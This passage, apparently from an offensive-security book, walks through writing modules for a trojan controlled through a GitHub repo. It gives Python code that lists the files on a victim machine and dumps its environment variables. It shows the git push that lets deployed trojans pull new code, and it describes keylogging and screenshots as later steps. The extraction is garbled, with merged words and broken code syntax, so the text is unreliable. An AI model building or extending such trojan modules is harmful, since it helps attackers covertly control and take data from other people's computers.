in later you will do nasty business with your trojanssuch as logging keystrokes and taking screenshots but to startlet' create some simple modules that we can easily test and deploy open new file in the modules directoryname it dirlister pyand enter the following codeimport os def run(**args)print "[*in dirlister module files os listdir("return str(filesthis little snippet of code simply exposes run function that lists all of the files in the current directory and returns that list as string each module that you develop should expose run function that takes variable number of arguments this enables you to load each module the same way and leaves enough extensibility so that you can customize the configuration files to pass arguments to the module if you desire now let' create another module called environment py import os def run(**args)print "[*in environment module return str(os environthis module simply retrieves any environment variables that are set on the remote machine on which the trojan is executing now let' push this code to our github repo so that it is useable by our trojan from the command lineenter the following code from your main repository directorygit add git commit - "adding new modulesgit push origin master username*******password*******you should then see your code getting pushed to your github repofeel free to log in to your account and double-checkthis is exactly how you can continue to develop code in the future will leave the integration of more complex modules to you as homework assignment should you have hundred deployed trojansyou can push new modules to your github repo and qa them by enabling your new module in configuration file for your local version of the trojan this wayyou can test on vm or host hardware that you control before allowing one of your remote trojans to pick up the code and use it